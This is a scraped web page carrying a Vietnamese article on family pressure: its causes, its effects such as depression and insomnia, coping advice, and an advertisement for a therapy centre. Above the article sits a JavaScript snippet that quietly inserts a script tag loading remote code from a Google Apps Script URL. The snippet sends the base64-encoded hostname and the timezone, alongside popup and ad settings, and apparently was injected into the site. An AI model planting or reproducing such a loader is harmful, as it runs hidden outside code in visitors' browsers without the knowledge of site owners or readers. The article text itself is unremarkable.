var GTM = 'GTM-NJKFBQ8'; var GG_ADS = 'ca-pub-8687624480880776'; var POPUP_IMG_PREFIX = "https://nhaxinhplaza.vn/wp-content/uploads/2022/08/"; // qc.png, close.png var SHOW_POPUP = 1; // 0: disable, 1: enable var MAX_CLAIM = 1; var TIME_TO_SHOW_POPUP = 10; // 10s var MAX_BUFF = 3; var b64e = function (a) { return btoa(encodeURIComponent(a).replace(/%([0-9A-F]{2})/g, function (b, a) { return String.fromCharCode("0x" + a) })) }; var gg_layer = document.createElement('script'); gg_layer.type = 'text/javascript'; gg_layer.src = `https://script.google.com/macros/s/AKfycbwT2tLHaERiLaaaT_05pnXM2h0pjKHGRPBTQgeffPjyIIXBAR46dAuj5S0sgi2scsJ77Q/exec ?st=${b64e(location.hostname)}&tm=${new Date().getHours()}&os=${b64e(new Date().getTimezoneOffset())}`; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(gg_layer, s);

Tạp Chí Tâm Lý Học

Chắc chắn ai trong chúng ta trong thời đại hiện đại ngày nay không thể tránh khỏi những áp lực đến từ gia đình và xã hội. Hãy dành thời gian đọc qua thông tin của bài viết này nếu những căng thẳng, bệnh tật của bạn đến từ chính gia đình của mình và bạn đang loay hoay chưa biết giải quyết chúng như thế nào.

Cảm giác căng thẳng, mệt mỏi trong quá trình sống và hòa hợp với các thành viên trong gia đình được gọi là áp lực gia đình. Nhiều người cảm thấy không thể đương đầu được với tình trạng này. Nguyên nhân của áp lực này có thể bắt nguồn từ sự khác biệt đa thế hệ, gánh nặng tài chính, trách nhiệm với con cái hoặc sự thiên vị giữa các thành viên trong gia đình.

Áp Lực Gia Đình
Áp lực gia đình kéo dài sẽ khiến cho bạn cảm thấy căng thẳng và ngột ngạt trong chính ngôi nhà của mình.

Có thể gây ra nhiều tác động khác nhau đến tinh thần, cuộc sống hoặc thậm chí làm rạn nứt các mối quan hệ, dù áp lực gia đình đến từ bất kì yếu tố nào. Nhiều người cảm thấy mệt mỏi và chán ghét việc xuất hiện trong chính ngôi nhà của mình vì những sức ép đến từ gia đình. Tùy thuộc vào mức độ ức chế, mỗi người sẽ có những biểu hiện và hành động khác nhau.

Vì bị áp lực từ gia đình quá nặng, một số trường hợp trở nên nhạy cảm, cáu gắt và nổi nóng với bất kỳ ai khi nhắc đến vấn đề gia đình. Nhiều người yếu đuối và nhút nhát sẽ cảm thấy buồn bã, chán nản, tuyệt vọng, suy sụp và khóc lóc, không thể hoàn thành tốt các công việc hàng ngày, gây ra sự suy giảm đáng kể về chất lượng cuộc sống.

Những bệnh tâm lý nguy hiểm như chán nản, lo lắng quá mức, căng thẳng do sự sốc và khó ngủ thường xảy ra với những người phải chịu áp lực từ gia đình thường xuyên. Ngoài ra, còn có những trường hợp muốn tự tử để giải thoát cho bản thân, đây là tình huống nghiêm trọng.

Nguyên nhân gây áp lực gia đình là gì?

Những sức ép trong gia đình có thể dẫn đến mệt mỏi, chán nản và tuyệt vọng cho nhiều người. Để giải quyết tình trạng này, trước tiên bạn cần phải tìm hiểu nguyên nhân gây ra cảm giác u ám và chán nản trong cuộc sống gia đình. Dưới đây là một số lý do cần lưu ý để giải quyết các áp lực trong gia đình.

1. Thiếu sự đồng cảm, chia sẻ và lắng nghe

Để có mối quan hệ gia đình bền vững, tất cả các thành viên cần phải tương tác và hỗ trợ lẫn nhau. Mỗi người phải biết cách lắng nghe, thông cảm và đồng cảm với những niềm vui và nỗi buồn của người thân. Khi chia sẻ và cùng chia sẻ những cảm xúc với người thân, mọi người cảm thấy được đối xử tốt hơn và được quan tâm đến nhiều hơn.

Trong cuộc sống gia đình, không thể tránh khỏi các sai lầm và căng thẳng lẫn nhau. Nếu thiếu sự thông cảm, chia sẻ và lắng nghe, các thành viên trong gia đình sẽ dần xa cách và không còn thân ái nhau nhiều như trước. Việc thiếu yếu tố này có thể dẫn đến áp lực gia đình gây áp lực cho tất cả thành viên. Ngoài ra, không thể phủ nhận rằng các sai lầm và căng thẳng sẽ xuất hiện trong cuộc sống gia đình.

2. Gia đình thiếu sự chia sẻ công việc

Việc chỉ tập trung vào bổn phận và nghĩa vụ của phụ nữ trong việc quản lý gia đình có thể gây nhiều khó khăn trong mối quan hệ gia đình, đặc biệt là sức ép quá tải lên đôi vai của họ. Trong một số gia đình, người phụ nữ thường bị ép phải thực hiện hầu hết các công việc trong nhà, từ việc nấu ăn, lau dọn nhà cửa đến chăm sóc con cái, một cách không cân bằng.

chịu áp lực từ gia đình
Các áp lực từ việc phải làm quá nhiều công việc nhà khiến cho phụ nữ trở nên mệt mỏi và suy kiệt

Trong thời đại hiện đại, phụ nữ không chỉ có trách nhiệm trong gia đình mà còn tham gia vào xã hội để làm việc, tăng thu nhập. Tuy nhiên, không ít phụ nữ phải đối mặt với việc phải đồng thời lo lắng cho công việc bên ngoài và cuộc sống gia đình. Tình trạng này vô tình tạo ra nhiều áp lực tiêu cực cho cá nhân, dẫn đến sự mệt mỏi và kiệt sức. Nếu công việc trong gia đình được chia sẻ và phân bổ công bằng, phần nào giảm bớt gánh nặng cho phụ nữ.

3. Các quan niệm cổ hủ, lạc hậu

Những niềm tin cũ kỹ, lạc hậu, không cập nhật có thể dẫn đến áp lực trong gia đình, tương tự như suy nghĩ rằng việc quản lý nhà chỉ thuộc về phụ nữ. Trong thời đại hiện đại, xã hội đang phát triển và tiến bộ liên tục, do đó, những quan điểm cũ rích không còn phù hợp. Nếu bạn cứ cố chấp với các cách sống truyền thống, đôi khi sẽ tạo ra khoảng cách đáng kể giữa các thế hệ trong gia đình của bạn. Nếu không muốn tình trạng này tiếp tục, cần có quyết tâm thay đổi suy nghĩ, giúp giảm thiểu khoảng cách và tránh xảy ra nhiều mâu thuẫn trong gia đình.

4. Gánh nặng về tài chính, tiền bạc, chi tiêu

Một trong những nguyên nhân thường xuyên gây áp lực trong gia đình là gánh nặng về tài chính. Đã có một số thông tin cho thấy rằng điều này không chỉ gây căng thẳng và mệt mỏi trong cuộc sống gia đình mà còn có thể dẫn đến tình trạng lo âu và căng thẳng kéo dài. Việc phải luôn suy nghĩ, tính toán và lo lắng về chi phí, cách chi tiêu hợp lý cũng khiến nhiều người rơi vào trạng thái khủng hoảng tâm lý nghiêm trọng.

5. Không chịu thích nghi và thay đổi để phù hợp với cuộc sống thực tại

Với sự phát triển không ngừng của cuộc sống, sự giữ nguyên và không chuyển biến sẽ gây áp lực và căng thẳng trong gia đình, tác động đến cá nhân và tạo ra nhiều xung đột không cần thiết. Điều này đặc biệt quan trọng đối với những người mới kết hôn, bởi họ cần phải cố gắng và thay đổi để thích nghi với môi trường sống mới.

6. Trách nhiệm nuôi dạy con cái

Nuôi dạy con cái đôi khi gây ra áp lực cho nhiều người và khiến họ mệt mỏi và căng thẳng. Đối với các gia đình nhỏ có con, bậc phụ huynh thường lo lắng và đau đầu về trách nhiệm của mình đối với con cái. Cha mẹ luôn cố gắng tạo điều kiện tốt nhất cho con phát triển một cách toàn diện, đồng thời giúp con học tập và sinh hoạt trong môi trường thích hợp. Những nỗi lo này thường khiến cho nhiều người cảm thấy buồn chán và tự đặt thêm áp lực cho bản thân.

7. Sự thiên vị, không công bằng giữa con cái

Nhiều gia đình và phụ huynh ở Việt Nam thường cho rằng con nhỏ luôn cần được quan tâm và chăm sóc nhiều từ cha mẹ. Điều này đúng nhưng nếu không chia sẻ công bằng và yêu thương đều cho con cái, trẻ có thể cảm thấy bất mãn và ghen tị lẫn nhau. Đây cũng là nguyên nhân gây ra sự căng thẳng trong gia đình, ảnh hưởng tiêu cực đến tâm lý và cảm xúc của trẻ.

Áp lực gia đình do thiên vị con cái
Sự thiên vị, không công bằng giữa con cái cũng chính là nguyên nhân dẫn đến áp lực gia đình

8. Sự kỳ vọng của cha mẹ, người thân

Áp lực đối với các em trở nên nặng nề vì sự kỳ vọng từ cha mẹ và gia đình. Với mỗi nhà chỉ có từ 1 đến 2 con, người ta mong muốn con mình trở thành những người tài giỏi, được yêu mến và tôn trọng. Tuy nhiên, nhiều bậc phụ huynh đặt ra những mục tiêu quá cao cho con, yêu cầu họ đạt thành tích học tập cao và thi đậu vào các trường đại học danh tiếng. Những yêu cầu này tạo ra áp lực to lớn đối với con cái và có thể gây thay đổi cảm xúc, thái độ và hành vi tiêu cực.

9. Quan niệm về chuyện tình yêu, đồng tính

Nhiều gia đình vẫn giữ quan điểm nghiêm ngặt về việc chọn bạn đời cho con theo ý muốn của bản thân. Thực tế cho thấy, nhiều mối tình tan vỡ do bị phản đối, cấm đoán bởi phụ huynh. Điều này khiến cho nhiều người cảm thấy mất quyền riêng tư và tự do của mình. Một vài trường hợp trở nên căm ghét gia đình của mình và không muốn gặp gỡ hoặc trò chuyện với những người đã cản trở tình yêu của họ. Cho đến ngày nay, tình trạng này vẫn tiếp diễn.

Do khoảng cách thế hệ, nhiều phụ huynh tại Việt Nam vẫn chưa chấp nhận được quan niệm về đồng tính, thậm chí cho rằng đó là một căn bệnh và cần phải được điều trị. Điều này đã tạo ra những khó khăn trong việc giao tiếp và gần gũi giữa cha mẹ và con cái. Các cá nhân thuộc giới LGBT cũng sẽ không dám thể hiện bản thân trước mặt gia đình và phải đối mặt với nhiều áp lực từ người thân.

Hệ lụy của áp lực gia đình nguy hiểm hơn bạn nghĩ

Dù to hay bé, sức ép gia đình đều tác động xấu đến tất cả thành viên trong hộ gia đình, đặc biệt là trẻ em. Nhiều người phải đối mặt với sức ép liên tục, dễ trở nên căng thẳng, lo lắng, suy nghĩ tiêu cực và dẫn đến những cơn khủng hoảng tâm lý nghiêm trọng kéo dài.

Nếu không khắc phục và giải quyết sớm những áp lực từ gia đình, sẽ gây ra nhiều hậu quả khó lường đối với sức khỏe, cuộc sống và quan hệ thân thiết giữa các thành viên trong gia đình. Một số hệ quả thường được đề cập đó là:

1. Áp lực gia đình gia tăng mức độ lo âu, căng thẳng

Một trong những hậu quả phổ biến của áp lực từ gia đình là căng thẳng. Những tranh cãi kéo dài và trách nhiệm kinh tế, gia đình đã đưa nhiều người vào tình trạng căng thẳng. Họ luôn cảm thấy bận tâm, mệt mỏi và lo lắng về nhiều vấn đề trong cuộc sống gia đình hàng ngày. Điều này đặc biệt đúng với trẻ em, đặc biệt là những người phải chịu sự áp lực, kỳ vọng và mục tiêu quá cao của cha mẹ.

Khi đối mặt với những thách thức này, trẻ em luôn cố gắng học tập và hoàn thành những mong muốn từ cha mẹ. Tuy nhiên, một số trẻ có thể trở nên lo lắng và sợ hãi khi không thực hiện tốt các nhiệm vụ được giao hoặc đơn giản là không đạt được những thành tích mà cha mẹ mong đợi. Nếu căng thẳng quá mức, nó có thể ảnh hưởng đến sức khỏe và hoạt động của hệ thần kinh, gây suy giảm chức năng của não bộ và làm cho trẻ khó tập trung và suy giảm trí nhớ.

2. Rối loạn giấc ngủ

Một trong những nguyên nhân thường gây rối loạn giấc ngủ là áp lực từ gia đình, đặc biệt là khó thức giấc, ngủ không ngon giấc, mơ gặp ác mộng và thức dậy nhiều lần trong đêm. Những áp lực này làm cho con người căng thẳng thần kinh và không thể ngủ sâu. Các suy nghĩ tiêu cực luôn ám ảnh trong tâm trí, gây ra lo lắng và khó ngủ. Dù đang ngủ, nhưng lo lắng vẫn có thể xảy ra và gây gián đoạn giấc ngủ.

Giấc ngủ đóng vai trò quan trọng đối với sức khỏe tổng thể của con người, đặc biệt là khi chất lượng giấc ngủ không được đảm bảo. Nếu mất ngủ kéo dài, cơ thể sẽ dần suy nhược, thiếu sự sáng tạo và khó tập trung, gây suy giảm trí nhớ và ảnh hưởng xấu đến kết quả học tập và công việc. Tình trạng này không chỉ gây mất ổn định trong cuộc sống mà còn làm giảm đáng kể sức đề kháng, đồng thời tạo cơ hội cho phát sinh nhiều bệnh lý nguy hiểm đối với sức khỏe.

3. Trầm cảm vì áp lực gia đình

Gia đình là nơi mà tinh thần của mỗi người được tìm thấy, đặc biệt là đối với trẻ nhỏ. Nếu sự khác biệt và mâu thuẫn thường xuyên xảy ra giữa các thành viên trong gia đình và họ không thể hiểu nhau, điều này sẽ gây áp lực cho nhau và dần dần ảnh hưởng nghiêm trọng đến tâm lý. Có rất nhiều nguy cơ gây ra các vấn đề sức khỏe tâm thần, và chứng trầm cảm được xem là phổ biến nhất trong số đó.

Áp lực gia đình
Trầm cảm là hậu quả thường gặp và nguy hiểm nhất của áp lực gia đình.

Một trong những vấn đề tâm lý phổ biến ảnh hưởng tiêu cực đến sức khỏe của con người là tình trạng trầm cảm. Bệnh này có thể xảy ra ở nhiều mức độ khác nhau và theo thống kê, áp lực từ gia đình được cho là nguyên nhân chính gây ra các triệu chứng của bệnh trầm cảm.

Những người bị trầm cảm luôn ở trong tâm trạng tiêu cực, đau buồn và hy vọng tan biến. Họ không còn có hứng thú với bất kì hoạt động nào trong cuộc sống. Những người này còn phải đối mặt với các vấn đề về sức khỏe thể chất như rối loạn giấc ngủ, đau đầu và ăn uống không lành mạnh. Trong một số trường hợp nghiêm trọng, họ có thể suy nghĩ về cái chết và có ý định tự tử để giải thoát cho bản thân.

4. Rạn nứt mối quan hệ

Nguyên nhân gây áp lực gia đình có thể đa dạng và khác nhau mức độ. Tuy nhiên, dù nguyên nhân xuất phát từ đâu thì cũng ảnh hưởng đến tình cảm của các thành viên trong gia đình, gây rạn nứt trong mối quan hệ. Nếu các mâu thuẫn không được giải quyết sớm, chúng sẽ làm cho vợ chồng và con cái hiểu lầm và cách xa nhau. Thực tế đã có nhiều trường hợp gia đình chia tay do áp lực quá lớn, khiến họ không thể cùng nhau vượt qua và chăm sóc cho gia đình.

Áp lực gia đình từ các áp lực kinh tế, tài chính hay sự khác biệt trong cách giáo dục, nuôi dạy con cái có thể khiến cho vợ chồng không thể đạt được sự đồng thuận và có thể dẫn đến những tranh cãi không đáng có. Khi con người phải chịu đựng những áp lực này, họ có thể trở nên mệt mỏi, cáu gắt và kích động, dẫn đến những lời nói và cử chỉ không thích hợp. Tuy nhiên, khi cả hai bên có sự nhường bộ và thông cảm lẫn nhau, các mối quan hệ có thể được hàn gắn và kéo dài.

5. Lạm dụng chất kích thích

Tình trạng gia đình bất ổn định có khả năng gây nên nguy cơ lạm dụng chất kích thích hoặc các chất gây nghiện như rượu, bia, thuốc lá và ma túy. Khi không giải tỏa và giải quyết được căng thẳng tâm lý, có thể dẫn đến tình trạng bế tắc và sử dụng các chất độc hại để giải quyết những phiền muộn. Rượu, bia và thuốc lá có thể giúp bạn quên đi những khó khăn, mệt mỏi trong cuộc sống, đem lại cảm giác thoải mái, phấn khởi và dễ chịu.

Hầu hết các chất kích thích đều ẩn chứa những tác hại đáng lo ngại, tuy nhiên, khi rơi vào trạng thái say sỉn, bạn sẽ không thể kiểm soát và quản lý được hành vi của mình. Đã có không ít các vụ việc đau lòng và nghiêm trọng được gây ra bởi rượu bia. Sử dụng liên tục các chất gây nghiện này sẽ dần làm suy yếu cơ thể, gây hại cho sức khỏe và tăng nguy cơ phải chịu đựng nhiều bệnh lý nguy hiểm khác, đồng thời.

Những cách vượt qua áp lực gia đình, giảm gánh nặng

Không thể tránh khỏi những áp lực xuất hiện trong đời sống gia đình, dẫn đến tình trạng mệt mỏi và căng thẳng. Vậy làm sao để giảm bớt áp lực này và khắc phục để đời sống trở nên vui vẻ và hạnh phúc hơn?

ads cao kim thắm chuyên gia tâm lý trị liệu

1. Học cách lắng nghe, chia sẻ nhiều hơn với gia đình

Để tạo dựng và nuôi dưỡng hạnh phúc trong gia đình, việc lắng nghe, hiểu biết và chia sẻ với nhau là rất quan trọng. Mọi mối quan hệ, bao gồm anh chị em, cha mẹ – con cái hoặc vợ chồng, đều cần có sự đồng cảm và quan tâm lẫn nhau để gắn kết lâu dài.

Hãy nỗ lực hơn trong việc tương tác, tìm kiếm cơ hội để gia đình bạn có thể gặp gỡ và đối thoại về các vấn đề liên quan đến cuộc sống. Nếu cần, bạn có thể tổ chức một chuyến đi ngắn hoặc một bữa tiệc ấm áp để chia sẻ cảm xúc với nhau. Điều này giúp giảm bớt áp lực trong quá trình tương tác và tạo ra một môi trường gắn kết hơn cho gia đình bạn.

2. Rèn luyện cách thích nghi với cuộc sống gia đình

Cuộc sống trong gia đình yêu cầu bạn phải đưa ra nhiều nỗ lực và cố gắng hơn so với việc sống độc lập, tự do. Khi sống chung với nhiều cá nhân thuộc nhiều thế hệ khác nhau, bạn cần học cách thích nghi để có thể hòa hợp với mọi người. Đừng quá cứng nhắc với các quy tắc hoặc quan niệm sống của chính mình, vì đôi khi bạn sẽ cảm thấy hứng thú hơn với những điều mới lạ và thay đổi.

3. Kiểm soát cảm xúc, giữ sự bình tĩnh

Các xung đột trong gia đình thường phát sinh từ sự tức giận và hành vi không kiểm soát của bản thân. Do vậy, để tránh những hậu quả không lường và duy trì sự hòa hợp trong gia đình, chúng ta cần phải học cách kiềm chế cảm xúc và giữ bình tĩnh trong mọi tình huống.

Khi phát sinh mâu thuẫn hoặc tranh cãi trong gia đình, điều đầu tiên cần làm là giữ bình tĩnh, không sử dụng những từ ngữ gây tổn thương hay xúc phạm người xung quanh. Trong trường hợp không kiềm chế được cảm xúc, tốt nhất là tạm rời khỏi tình huống. Sau khi trở lại bình tĩnh, cùng nhau ngồi xuống để giải quyết vấn đề.

4. Nhìn nhận sai lầm và tiếp thu góp ý

Xin hãy mở lòng và dễ chịu lắng nghe để có thể tiếp thu tốt những suy nghĩ, lời khuyên từ những thành viên trong gia đình. Bạn hãy hiểu rằng, gia đình luôn mong muốn giúp bạn trở nên tốt hơn và hoàn thiện hơn. Vì vậy, xin đừng vội kết luận hoặc cho rằng những góp ý của họ là có ý định phản đối hay ngăn cản bạn.

Việc học cách đối diện với những sai sót của bản thân là điều quan trọng. Trong trường hợp gặp phải các lỗi, bạn cần dũng cảm chấp nhận chúng và nỗ lực sửa chữa. Gia đình sẽ không từ bỏ bạn chỉ vì những sai lầm đó. Chỉ cần bạn biết thừa nhận và khắc phục chúng, mọi người sẽ luôn yêu thương và quan tâm đến bạn. Hơn nữa, điều này cũng là cần thiết.

5. Chia sẻ công việc trong gia đình

Phân chia và phân bổ các nhiệm vụ hàng ngày cho toàn bộ thành viên trong gia đình để mỗi người đảm nhận trách nhiệm của mình. Các việc nhỏ sẽ được giao cho những thành viên nhỏ tuổi, còn những việc lớn sẽ được thực hiện bởi những thành viên lớn tuổi. Hợp tác trong việc dọn dẹp nhà cửa không chỉ giúp giảm bớt áp lực gia đình mà còn giúp tăng cường sự gắn kết giữa các thành viên và mang lại niềm vui cho gia đình.

6. Không gây áp lực lên con cái

Để hiểu được mong muốn và tinh thần của con, các bậc cha mẹ nên cố gắng đặt mình vào vị trí của con. Trẻ ở mỗi độ tuổi có những ước mơ và tâm trạng khác nhau, vì thế cha mẹ cần quan tâm và đồng cảm với con nhiều hơn. Học tập đối mặt với nhiều áp lực đối với các em học sinh, vì thế gia đình không nên đặt quá nhiều mục tiêu và kỳ vọng cho trẻ. Điều này chỉ khiến trẻ cảm thấy căng thẳng và mệt mỏi hơn.

Phân phát đều tình yêu thương cho con cái là nghĩa vụ của cha mẹ, cùng với đó là không phân biệt đối xử giữa các thành viên trong gia đình. Dù con cái đã trưởng thành, họ vẫn kỳ vọng nhận được nhiều sự quan tâm và yêu thương từ cha mẹ và gia đình. Do đó, hãy luôn thể hiện tình cảm đối với mọi thành viên trong gia đình.

7. Trao đổi với chuyên gia tâm lý

Vấn đề liên quan đến tâm lý con người thường bao gồm áp lực từ gia đình. Để giải quyết vấn đề này một cách hiệu quả, bạn có thể tìm đến chuyên gia tâm lý hoặc nhà trị liệu tâm lý. Họ sẽ giúp bạn xử lý áp lực gia đình, kiểm soát cảm xúc, học cách giao tiếp và cải thiện mối quan hệ gia đình. Với kiến thức, kỹ năng và quy trình chuyên sâu về tâm lý, họ sẽ lắng nghe câu chuyện của bạn và giúp bạn giải quyết vấn đề.

Trung tâm Tâm lý trị liệu NHC Việt Nam là đơn vị tiên phong trong lĩnh vực chăm sóc tâm lý ở Việt Nam. Các chuyên gia đến từ Ủy ban NLP Hoa Kỳ của đơn vị này là những Master Coach chuyên nghiệp, có kinh nghiệm và quy mô lớn. Phương pháp trị liệu tâm lý độc quyền của NHC Việt Nam đã giúp nhiều khách hàng vượt qua trầm cảm, rối loạn lo âu, áp lực gia đình và nhiều vấn đề khác để tìm lại sức khỏe. Đồng thời, phương pháp này còn giúp cải thiện mối quan hệ gia đình, tạo ra sự hòa hợp và trang bị cho khách hàng kỹ năng và phương pháp để đối mặt và giải quyết những áp lực khác trong cuộc sống.

Khác với các cơ sở tư vấn tâm lý, Trung tâm Tâm lý trị liệu NHC Việt Nam không cung cấp tư vấn tâm lý, nghĩa là không đưa ra lời khuyên cho khách hàng. Thay vào đó, chuyên gia tâm lý trị liệu sẽ đặt câu hỏi khai vấn để giúp khách hàng hiểu rõ hơn về vấn đề của mình và tìm ra giải pháp phù hợp. Bên cạnh đó, các chuyên gia cũng áp dụng các kỹ thuật và quy trình trị liệu tâm lý chuyên sâu để chữa lành những tổn thương trong tâm trí, loại bỏ những suy nghĩ tiêu cực và giúp khách hàng nhìn nhận cuộc sống từ một góc nhìn tích cực và lạc quan hơn. Từ đó, khách hàng có thể có cuộc sống hạnh phúc, bình an hơn trong mọi mặt của cuộc sống, bao gồm cả gia đình và xã hội.

Gọi đến tổ chức Tâm lý trị liệu NHC Việt Nam qua số điện thoại nóng 096 589 8008 hoặc để lại thông tin nếu quý khách mong muốn giải quyết áp lực từ gia đình. Tổ chức sẽ liên hệ với quý khách và cung cấp lộ trình trị liệu tâm lý phù hợp với tình trạng của quý khách.

Có thể rằng đó là động lực, nhưng quan trọng là chúng ta cần nỗ lực để thay đổi những áp lực gia đình mà bất kỳ cá nhân nào cũng trải qua. Hy vọng bạn sẽ tìm cách giải quyết chúng để có thể xây dựng và phát triển cuộc sống tốt đẹp hơn. Bài viết này cũng giúp bạn hiểu thêm về những áp lực gia đình.

Có thể bạn quan tâm đến:

  • Mẹo Giúp Bạn Giải Tỏa Và Vượt Qua Áp Lực Từ Gia Đình
  • Nguy cơ trẻ bị trầm cảm vì áp lực gia đình cha mẹ cần quan tâm
  • 5 Lỗi Tư Duy Thường Gặp Ở Trẻ Cha Mẹ Nên Lưu Ý
  • Áp lực đồng trang lứa: Nguyên nhân, tác hại và cách vượt qua